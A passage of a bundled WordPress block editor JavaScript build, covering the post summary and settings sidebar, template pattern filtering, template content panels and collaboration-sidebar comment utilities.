25295 children: allowCommentsOnNewPosts ? (0,external_wp_i18n_namespaceObject.__)("Comments open") : (0,external_wp_i18n_namespaceObject.__)("Comments closed")
25296 }
25297 ),
25298 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
25299 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25300 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
25301 {
25302 title: (0,external_wp_i18n_namespaceObject.__)("Discussion"),
25303 onClose
25304 }
25305 ),
25306 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
25307 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)(
25308 "Changes will apply to new posts only. Individual posts may override these settings."
25309 ) }),
25310 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25311 external_wp_components_namespaceObject.RadioControl,
25312 {
25313 className: "editor-site-discussion__options",
25314 hideLabelFromVision: true,
25315 label: (0,external_wp_i18n_namespaceObject.__)("Comment status"),
25316 options: site_discussion_COMMENT_OPTIONS,
25317 onChange: setAllowCommentsOnNewPosts,
25318 selected: allowCommentsOnNewPosts
25319 }
25320 )
25321 ] })
25322 ] })
25323 }
25324 ) });
25325}
25326
25327
25328;// ./node_modules/@wordpress/editor/build-module/components/sidebar/post-summary.js
25329
25330
25331
25332
25333
25334
25335
25336
25337
25338
25339
25340
25341
25342
25343
25344
25345
25346
25347
25348
25349
25350
25351
25352
25353
25354const post_summary_PANEL_NAME = "post-status";
25355function PostSummary({ onActionPerformed }) {
25356 const { isRemovedPostStatusPanel, postType, postId } = (0,external_wp_data_namespaceObject.useSelect)(
25357 (select) => {
25358 const {
25359 isEditorPanelRemoved,
25360 getCurrentPostType,
25361 getCurrentPostId
25362 } = select(store_store);
25363 return {
25364 isRemovedPostStatusPanel: isEditorPanelRemoved(post_summary_PANEL_NAME),
25365 postType: getCurrentPostType(),
25366 postId: getCurrentPostId()
25367 };
25368 },
25369 []
25370 );
25371 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_section_default, { className: "editor-post-summary", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_post_status_info_default.Slot, { children: (fills) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
25372 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25373 PostCardPanel,
25374 {
25375 postType,
25376 postId,
25377 onActionPerformed
25378 }
25379 ),
25380 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFeaturedImagePanel, { withPanelBody: false }),
25381 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivatePostExcerptPanel, {}),
25382 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, children: [
25383 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostContentInformation, {}),
25384 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostLastEditedPanel, {})
25385 ] }),
25386 !isRemovedPostStatusPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
25387 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, children: [
25388 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostStatus, {}),
25389 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSchedulePanel, {}),
25390 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostURLPanel, {}),
25391 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(panel_default, {}),
25392 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTemplatePanel, {}),
25393 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostDiscussionPanel, {}),
25394 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivatePostLastRevision, {}),
25395 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PageAttributesPanel, {}),
25396 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSyncStatus, {}),
25397 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlogTitle, {}),
25398 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostsPerPage, {}),
25399 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SiteDiscussion, {}),
25400 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_format_panel_panel_default, {}),
25401 fills
25402 ] }),
25403 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25404 PostTrash,
25405 {
25406 onActionPerformed
25407 }
25408 )
25409 ] })
25410 ] }) }) }) });
25411}
25412
25413
25414;// ./node_modules/@wordpress/editor/build-module/components/post-transform-panel/hooks.js
25415
25416
25417
25418
25419
25420
25421
25422const { EXCLUDED_PATTERN_SOURCES, PATTERN_TYPES: hooks_PATTERN_TYPES } = unlock(external_wp_patterns_namespaceObject.privateApis);
25423function injectThemeAttributeInBlockTemplateContent(block, currentThemeStylesheet) {
25424 block.innerBlocks = block.innerBlocks.map((innerBlock) => {
25425 return injectThemeAttributeInBlockTemplateContent(
25426 innerBlock,
25427 currentThemeStylesheet
25428 );
25429 });
25430 if (block.name === "core/template-part" && block.attributes.theme === void 0) {
25431 block.attributes.theme = currentThemeStylesheet;
25432 }
25433 return block;
25434}
25435function filterPatterns(patterns, template) {
25436 const filterOutDuplicatesByName = (currentItem, index, items) => index === items.findIndex((item) => currentItem.name === item.name);
25437 const filterOutExcludedPatternSources = (pattern) => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source);
25438 const filterCompatiblePatterns = (pattern) => pattern.templateTypes?.includes(template.slug) || pattern.blockTypes?.includes("core/template-part/" + template.area);
25439 return patterns.filter((pattern, index, items) => {
25440 return filterOutDuplicatesByName(pattern, index, items) && filterOutExcludedPatternSources(pattern) && filterCompatiblePatterns(pattern);
25441 });
25442}
25443function preparePatterns(patterns, currentThemeStylesheet) {
25444 return patterns.map((pattern) => ({
25445 ...pattern,
25446 keywords: pattern.keywords || [],
25447 type: hooks_PATTERN_TYPES.theme,
25448 blocks: (0,external_wp_blocks_namespaceObject.parse)(pattern.content, {
25449 __unstableSkipMigrationLogs: true
25450 }).map(
25451 (block) => injectThemeAttributeInBlockTemplateContent(
25452 block,
25453 currentThemeStylesheet
25454 )
25455 )
25456 }));
25457}
25458function useAvailablePatterns({ area, name, slug }) {
25459 const { blockPatterns, restBlockPatterns, currentThemeStylesheet } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
25460 const { getEditorSettings } = select(store_store);
25461 const settings = getEditorSettings();
25462 return {
25463 blockPatterns: settings.__experimentalAdditionalBlockPatterns ?? settings.__experimentalBlockPatterns,
25464 restBlockPatterns: select(external_wp_coreData_namespaceObject.store).getBlockPatterns(),
25465 currentThemeStylesheet: select(external_wp_coreData_namespaceObject.store).getCurrentTheme().stylesheet
25466 };
25467 }, []);
25468 return (0,external_wp_element_namespaceObject.useMemo)(() => {
25469 const mergedPatterns = [
25470 ...blockPatterns || [],
25471 ...restBlockPatterns || []
25472 ];
25473 const filteredPatterns = filterPatterns(mergedPatterns, {
25474 area,
25475 name,
25476 slug
25477 });
25478 return preparePatterns(filteredPatterns, currentThemeStylesheet);
25479 }, [
25480 area,
25481 name,
25482 slug,
25483 blockPatterns,
25484 restBlockPatterns,
25485 currentThemeStylesheet
25486 ]);
25487}
25488
25489
25490;// ./node_modules/@wordpress/editor/build-module/components/post-transform-panel/index.js
25491
25492
25493
25494
25495
25496
25497
25498
25499
25500
25501function post_transform_panel_TemplatesList({ availableTemplates, onSelect }) {
25502 if (!availableTemplates || availableTemplates?.length === 0) {
25503 return null;
25504 }
25505 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25506 external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList,
25507 {
25508 label: (0,external_wp_i18n_namespaceObject.__)("Templates"),
25509 blockPatterns: availableTemplates,
25510 onClickPattern: onSelect,
25511 showTitlesAsTooltip: true
25512 }
25513 );
25514}
25515function PostTransform() {
25516 const { area, name, slug, postType, postId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
25517 const { getCurrentPostType, getCurrentPostId } = select(store_store);
25518 const { getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
25519 const type = getCurrentPostType();
25520 const id = getCurrentPostId();
25521 const record = getEditedEntityRecord("postType", type, id);
25522 return {
25523 area: record?.area,
25524 name: record?.name,
25525 slug: record?.slug,
25526 postType: type,
25527 postId: id
25528 };
25529 }, []);
25530 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
25531 const availablePatterns = useAvailablePatterns({ area, name, slug });
25532 const onTemplateSelect = async (selectedTemplate) => {
25533 await editEntityRecord("postType", postType, postId, {
25534 blocks: selectedTemplate.blocks,
25535 content: (0,external_wp_blocks_namespaceObject.serialize)(selectedTemplate.blocks)
25536 });
25537 };
25538 if (!availablePatterns?.length) {
25539 return null;
25540 }
25541 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25542 external_wp_components_namespaceObject.PanelBody,
25543 {
25544 title: (0,external_wp_i18n_namespaceObject.__)("Design"),
25545 initialOpen: postType === TEMPLATE_PART_POST_TYPE,
25546 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25547 post_transform_panel_TemplatesList,
25548 {
25549 availableTemplates: availablePatterns,
25550 onSelect: onTemplateSelect
25551 }
25552 )
25553 }
25554 );
25555}
25556function PostTransformPanel() {
25557 const { postType } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
25558 const { getCurrentPostType } = select(store_store);
25559 return {
25560 postType: getCurrentPostType()
25561 };
25562 }, []);
25563 if (![TEMPLATE_PART_POST_TYPE, TEMPLATE_POST_TYPE].includes(postType)) {
25564 return null;
25565 }
25566 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTransform, {});
25567}
25568
25569
25570;// ./node_modules/@wordpress/editor/build-module/components/sidebar/constants.js
25571const sidebars = {
25572 document: "edit-post/document",
25573 block: "edit-post/block"
25574};
25575
25576
25577;// ./node_modules/@wordpress/editor/build-module/components/sidebar/header.js
25578
25579
25580
25581
25582
25583
25584
25585
25586const { Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
25587const SidebarHeader = (_, ref) => {
25588 const { documentLabel } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
25589 const { getPostTypeLabel } = select(store_store);
25590 return {
25591 documentLabel: (
25592 // translators: Default label for the Document sidebar tab, not selected.
25593 getPostTypeLabel() || (0,external_wp_i18n_namespaceObject._x)("Document", "noun, panel")
25594 )
25595 };
25596 }, []);
25597 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs.TabList, { ref, children: [
25598 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25599 Tabs.Tab,
25600 {
25601 tabId: sidebars.document,
25602 "data-tab-id": sidebars.document,
25603 children: documentLabel
25604 }
25605 ),
25606 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25607 Tabs.Tab,
25608 {
25609 tabId: sidebars.block,
25610 "data-tab-id": sidebars.block,
25611 children: (0,external_wp_i18n_namespaceObject.__)("Block")
25612 }
25613 )
25614 ] });
25615};
25616var sidebar_header_header_default = (0,external_wp_element_namespaceObject.forwardRef)(SidebarHeader);
25617
25618
25619;// ./node_modules/@wordpress/editor/build-module/components/template-content-panel/index.js
25620
25621
25622
25623
25624
25625
25626
25627
25628
25629
25630
25631const { BlockQuickNavigation } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
25632const template_content_panel_POST_CONTENT_BLOCK_TYPES = [
25633 "core/post-title",
25634 "core/post-featured-image",
25635 "core/post-content"
25636];
25637const TEMPLATE_PART_BLOCK = "core/template-part";
25638function TemplateContentPanel() {
25639 const postContentBlockTypes = (0,external_wp_element_namespaceObject.useMemo)(
25640 () => (0,external_wp_hooks_namespaceObject.applyFilters)(
25641 "editor.postContentBlockTypes",
25642 template_content_panel_POST_CONTENT_BLOCK_TYPES
25643 ),
25644 []
25645 );
25646 const { clientIds, postType, renderingMode } = (0,external_wp_data_namespaceObject.useSelect)(
25647 (select) => {
25648 const {
25649 getCurrentPostType,
25650 getPostBlocksByName,
25651 getRenderingMode
25652 } = unlock(select(store_store));
25653 const _postType = getCurrentPostType();
25654 return {
25655 postType: _postType,
25656 clientIds: getPostBlocksByName(
25657 TEMPLATE_POST_TYPE === _postType ? TEMPLATE_PART_BLOCK : postContentBlockTypes
25658 ),
25659 renderingMode: getRenderingMode()
25660 };
25661 },
25662 [postContentBlockTypes]
25663 );
25664 const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
25665 if (renderingMode === "post-only" && postType !== TEMPLATE_POST_TYPE || clientIds.length === 0) {
25666 return null;
25667 }
25668 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Content"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25669 BlockQuickNavigation,
25670 {
25671 clientIds,
25672 onSelect: () => {
25673 enableComplementaryArea("core", "edit-post/document");
25674 }
25675 }
25676 ) });
25677}
25678
25679
25680;// ./node_modules/@wordpress/editor/build-module/components/template-part-content-panel/index.js
25681
25682
25683
25684
25685
25686
25687
25688
25689
25690
25691const { BlockQuickNavigation: template_part_content_panel_BlockQuickNavigation } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
25692function TemplatePartContentPanelInner() {
25693 const blockTypes = (0,external_wp_data_namespaceObject.useSelect)((select) => {
25694 const { getBlockTypes } = select(external_wp_blocks_namespaceObject.store);
25695 return getBlockTypes();
25696 }, []);
25697 const themeBlockNames = (0,external_wp_element_namespaceObject.useMemo)(() => {
25698 return blockTypes.filter((blockType) => {
25699 return blockType.category === "theme";
25700 }).map(({ name }) => name);
25701 }, [blockTypes]);
25702 const themeBlocks = (0,external_wp_data_namespaceObject.useSelect)(
25703 (select) => {
25704 const { getBlocksByName } = select(external_wp_blockEditor_namespaceObject.store);
25705 return getBlocksByName(themeBlockNames);
25706 },
25707 [themeBlockNames]
25708 );
25709 if (themeBlocks.length === 0) {
25710 return null;
25711 }
25712 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Content"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(template_part_content_panel_BlockQuickNavigation, { clientIds: themeBlocks }) });
25713}
25714function TemplatePartContentPanel() {
25715 const postType = (0,external_wp_data_namespaceObject.useSelect)((select) => {
25716 const { getCurrentPostType } = select(store_store);
25717 return getCurrentPostType();
25718 }, []);
25719 if (postType !== TEMPLATE_PART_POST_TYPE) {
25720 return null;
25721 }
25722 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplatePartContentPanelInner, {});
25723}
25724
25725
25726;// ./node_modules/@wordpress/editor/build-module/components/provider/use-auto-switch-editor-sidebars.js
25727
25728
25729
25730
25731
25732function useAutoSwitchEditorSidebars() {
25733 const { hasBlockSelection } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
25734 return {
25735 hasBlockSelection: !!select(external_wp_blockEditor_namespaceObject.store).getBlockSelectionStart()
25736 };
25737 }, []);
25738 const { getActiveComplementaryArea } = (0,external_wp_data_namespaceObject.useSelect)(store);
25739 const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
25740 const { get: getPreference } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_preferences_namespaceObject.store);
25741 (0,external_wp_element_namespaceObject.useEffect)(() => {
25742 const activeGeneralSidebar = getActiveComplementaryArea("core");
25743 const isEditorSidebarOpened = [
25744 "edit-post/document",
25745 "edit-post/block"
25746 ].includes(activeGeneralSidebar);
25747 const isDistractionFree = getPreference("core", "distractionFree");
25748 if (!isEditorSidebarOpened || isDistractionFree) {
25749 return;
25750 }
25751 if (hasBlockSelection) {
25752 enableComplementaryArea("core", "edit-post/block");
25753 } else {
25754 enableComplementaryArea("core", "edit-post/document");
25755 }
25756 }, [
25757 hasBlockSelection,
25758 getActiveComplementaryArea,
25759 enableComplementaryArea,
25760 getPreference
25761 ]);
25762}
25763var use_auto_switch_editor_sidebars_default = useAutoSwitchEditorSidebars;
25764
25765
25766;// ./node_modules/@wordpress/editor/build-module/components/sidebar/index.js
25767
25768
25769
25770
25771
25772
25773
25774
25775
25776
25777
25778
25779
25780
25781
25782
25783
25784
25785
25786
25787
25788
25789
25790const { Tabs: sidebar_Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
25791const SIDEBAR_ACTIVE_BY_DEFAULT = external_wp_element_namespaceObject.Platform.select({
25792 web: true,
25793 native: false
25794});
25795const SidebarContent = ({
25796 tabName,
25797 keyboardShortcut,
25798 onActionPerformed,
25799 extraPanels
25800}) => {
25801 const tabListRef = (0,external_wp_element_namespaceObject.useRef)(null);
25802 const tabsContextValue = (0,external_wp_element_namespaceObject.useContext)(sidebar_Tabs.Context);
25803 (0,external_wp_element_namespaceObject.useEffect)(() => {
25804 const tabsElements = Array.from(
25805 tabListRef.current?.querySelectorAll('[role="tab"]') || []
25806 );
25807 const selectedTabElement = tabsElements.find(
25808 // We are purposefully using a custom `data-tab-id` attribute here
25809 // because we don't want rely on any assumptions about `Tabs`
25810 // component internals.
25811 (element) => element.getAttribute("data-tab-id") === tabName
25812 );
25813 const activeElement = selectedTabElement?.ownerDocument.activeElement;
25814 const tabsHasFocus = tabsElements.some((element) => {
25815 return activeElement && activeElement.id === element.id;
25816 });
25817 if (tabsHasFocus && selectedTabElement && selectedTabElement.id !== activeElement?.id) {
25818 selectedTabElement?.focus();
25819 }
25820 }, [tabName]);
25821 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25822 PluginSidebar,
25823 {
25824 identifier: tabName,
25825 header: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(sidebar_Tabs.Context.Provider, { value: tabsContextValue, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(sidebar_header_header_default, { ref: tabListRef }) }),
25826 closeLabel: (0,external_wp_i18n_namespaceObject.__)("Close Settings"),
25827 className: "editor-sidebar__panel",
25828 headerClassName: "editor-sidebar__panel-tabs",
25829 title: (
25830 /* translators: button label text should, if possible, be under 16 characters. */
25831 (0,external_wp_i18n_namespaceObject._x)("Settings", "panel button label")
25832 ),
25833 toggleShortcut: keyboardShortcut,
25834 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? drawer_left_default : drawer_right_default,
25835 isActiveByDefault: SIDEBAR_ACTIVE_BY_DEFAULT,
25836 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(sidebar_Tabs.Context.Provider, { value: tabsContextValue, children: [
25837 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(sidebar_Tabs.TabPanel, { tabId: sidebars.document, focusable: false, children: [
25838 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSummary, { onActionPerformed }),
25839 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_document_setting_panel_default.Slot, {}),
25840 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateContentPanel, {}),
25841 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplatePartContentPanel, {}),
25842 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTransformPanel, {}),
25843 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(panel_PostTaxonomies, {}),
25844 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternOverridesPanel, {}),
25845 extraPanels
25846 ] }),
25847 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(sidebar_Tabs.TabPanel, { tabId: sidebars.block, focusable: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockInspector, {}) })
25848 ] })
25849 }
25850 );
25851};
25852const Sidebar = ({ extraPanels, onActionPerformed }) => {
25853 use_auto_switch_editor_sidebars_default();
25854 const { tabName, keyboardShortcut, showSummary } = (0,external_wp_data_namespaceObject.useSelect)(
25855 (select) => {
25856 const shortcut = select(
25857 external_wp_keyboardShortcuts_namespaceObject.store
25858 ).getShortcutRepresentation("core/editor/toggle-sidebar");
25859 const sidebar = select(store).getActiveComplementaryArea("core");
25860 const _isEditorSidebarOpened = [
25861 sidebars.block,
25862 sidebars.document
25863 ].includes(sidebar);
25864 let _tabName = sidebar;
25865 if (!_isEditorSidebarOpened) {
25866 _tabName = !!select(
25867 external_wp_blockEditor_namespaceObject.store
25868 ).getBlockSelectionStart() ? sidebars.block : sidebars.document;
25869 }
25870 return {
25871 tabName: _tabName,
25872 keyboardShortcut: shortcut,
25873 showSummary: ![
25874 TEMPLATE_POST_TYPE,
25875 TEMPLATE_PART_POST_TYPE,
25876 NAVIGATION_POST_TYPE
25877 ].includes(select(store_store).getCurrentPostType())
25878 };
25879 },
25880 []
25881 );
25882 const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
25883 const onTabSelect = (0,external_wp_element_namespaceObject.useCallback)(
25884 (newSelectedTabId) => {
25885 if (!!newSelectedTabId) {
25886 enableComplementaryArea("core", newSelectedTabId);
25887 }
25888 },
25889 [enableComplementaryArea]
25890 );
25891 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25892 sidebar_Tabs,
25893 {
25894 selectedTabId: tabName,
25895 onSelect: onTabSelect,
25896 selectOnMove: false,
25897 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25898 SidebarContent,
25899 {
25900 tabName,
25901 keyboardShortcut,
25902 showSummary,
25903 onActionPerformed,
25904 extraPanels
25905 }
25906 )
25907 }
25908 );
25909};
25910var sidebar_sidebar_default = Sidebar;
25911
25912
25913;// ./node_modules/@wordpress/icons/build-module/library/comment.js
25914
25915
25916var comment_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z" }) });
25917
25918
25919;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/constants.js
25920const collabHistorySidebarName = "edit-post/collab-history-sidebar";
25921const collabSidebarName = "edit-post/collab-sidebar";
25922const SIDEBARS = [collabHistorySidebarName, collabSidebarName];
25923
25924
25925;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/utils.js
25926
25927function sanitizeCommentString(str) {
25928 return str.trim();
25929}
25930function utils_noop() {
25931}
25932const AVATAR_BORDER_COLORS = [
25933 "#3858E9",
25934 // Blueberry
25935 "#9fB1FF",
25936 // Blueberry 2
25937 "#1D35B4",
25938 // Dark Blueberry
25939 "#1A1919",
25940 // Charcoal 0
25941 "#E26F56",
25942 // Pomegranate
25943 "#33F078",
25944 // Acid Green
25945 "#FFF972",
25946 // Lemon
25947 "#7A00DF"
25948 // Purple
25949];
25950function getAvatarBorderColor(userId) {
25951 return AVATAR_BORDER_COLORS[userId % AVATAR_BORDER_COLORS.length];
25952}
25953function getCommentExcerpt(text, excerptLength = 10) {
25954 if (!text) {
25955 return "";
25956 }
25957 const wordCountType = (0,external_wp_i18n_namespaceObject._x)("words", "Word count type. Do not translate!");
25958 const rawText = text.trim();
25959 let trimmedExcerpt = "";
25960 if (wordCountType === "words") {
25961 trimmedExcerpt = rawText.split(" ", excerptLength).join(" ");
25962 } else if (wordCountType === "characters_excluding_spaces") {
25963 const textWithSpaces = rawText.split("", excerptLength).join("");
25964 const numberOfSpaces = textWithSpaces.length - textWithSpaces.replaceAll(" ", "").length;
25965 trimmedExcerpt = rawText.split("", excerptLength + numberOfSpaces).join("");
25966 } else if (wordCountType === "characters_including_spaces") {
25967 trimmedExcerpt = rawText.split("", excerptLength).join("");
25968 }
25969 const isTrimmed = trimmedExcerpt !== rawText;
25970 return isTrimmed ? trimmedExcerpt + "\u2026" : trimmedExcerpt;
25971}
25972function focusCommentThread(commentId, container, additionalSelector) {
25973 if (!container) {
25974 return;
25975 }
25976 const threadSelector = commentId ? `[role=treeitem][id="comment-thread-${commentId}"]` : "[role=treeitem]:not([id])";
25977 const selector = additionalSelector ? `${threadSelector} ${additionalSelector}` : threadSelector;
25978 return new Promise((resolve) => {
25979 if (container.querySelector(selector)) {
25980 return resolve(container.querySelector(selector));
25981 }
25982 let timer = null;
25983 const observer = new window.MutationObserver(() => {
25984 if (container.querySelector(selector)) {
25985 clearTimeout(timer);
25986 observer.disconnect();
25987 resolve(container.querySelector(selector));
25988 }
25989 });
25990 observer.observe(container, {
25991 childList: true,
25992 subtree: true
25993 });
25994 timer = setTimeout(() => {
25995 observer.disconnect();
25996 resolve(null);
25997 }, 3e3);
25998 }).then((element) => element?.focus());
25999}
26000
26001
26002;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comment-author-info.js
26003
26004
26005
26006
26007
26008
26009
26010
26011function CommentAuthorInfo({ avatar, name, date, userId }) {
26012 const hasAvatar = !!avatar;
26013 const dateSettings = (0,external_wp_date_namespaceObject.getSettings)();
26014 const {
26015 currentUserAvatar,
26016 currentUserName,
26017 currentUserId,
26018 dateFormat = dateSettings.formats.date
26019 } = (0,external_wp_data_namespaceObject.useSelect)(
26020 (select) => {
26021 const { canUser, getCurrentUser, getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
26022 const siteSettings = canUser("read", {
26023 kind: "root",
26024 name: "site"
26025 }) ? getEntityRecord("root", "site") : void 0;
26026 if (hasAvatar) {
26027 return {
26028 dateFormat: siteSettings?.date_format
26029 };
26030 }
26031 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
26032 const { __experimentalDiscussionSettings } = getSettings();
26033 const defaultAvatar = __experimentalDiscussionSettings?.avatarURL;
26034 const userData = getCurrentUser();
26035 return {
26036 currentUserAvatar: userData?.avatar_urls?.[48] ?? defaultAvatar,
26037 currentUserName: userData?.name,
26038 currentUserId: userData?.id,
26039 dateFormat: siteSettings?.date_format
26040 };
26041 },
26042 [hasAvatar]
26043 );
26044 const commentDate = (0,external_wp_date_namespaceObject.getDate)(date);
26045 const commentDateTime = (0,external_wp_date_namespaceObject.dateI18n)("c", commentDate);
26046 const shouldShowHumanTimeDiff = Math.floor((/* @__PURE__ */ new Date() - commentDate) / (1e3 * 60 * 60 * 24)) < 30;
26047 const commentDateText = shouldShowHumanTimeDiff ? (0,external_wp_date_namespaceObject.humanTimeDiff)(commentDate) : (0,external_wp_date_namespaceObject.dateI18n)(dateFormat, commentDate);
26048 const tooltipText = (0,external_wp_date_namespaceObject.dateI18n)(
26049 // translators: Use a non-breaking space between 'g:i' and 'a' if appropriate.
26050 (0,external_wp_i18n_namespaceObject._x)("F j, Y g:i\xA0a", "Note date full date format"),
26051 date
26052 );
26053 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
26054 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26055 "img",
26056 {
26057 src: avatar || currentUserAvatar,
26058 className: "editor-collab-sidebar-panel__user-avatar",
26059 alt: (0,external_wp_i18n_namespaceObject.__)("User avatar"),
26060 width: 32,
26061 height: 32,
26062 style: {
26063 borderColor: getAvatarBorderColor(
26064 userId ?? currentUserId
26065 )
26066 }
26067 }
26068 ),
26069 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "0", children: [
26070 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-collab-sidebar-panel__user-name", children: name ?? currentUserName }),
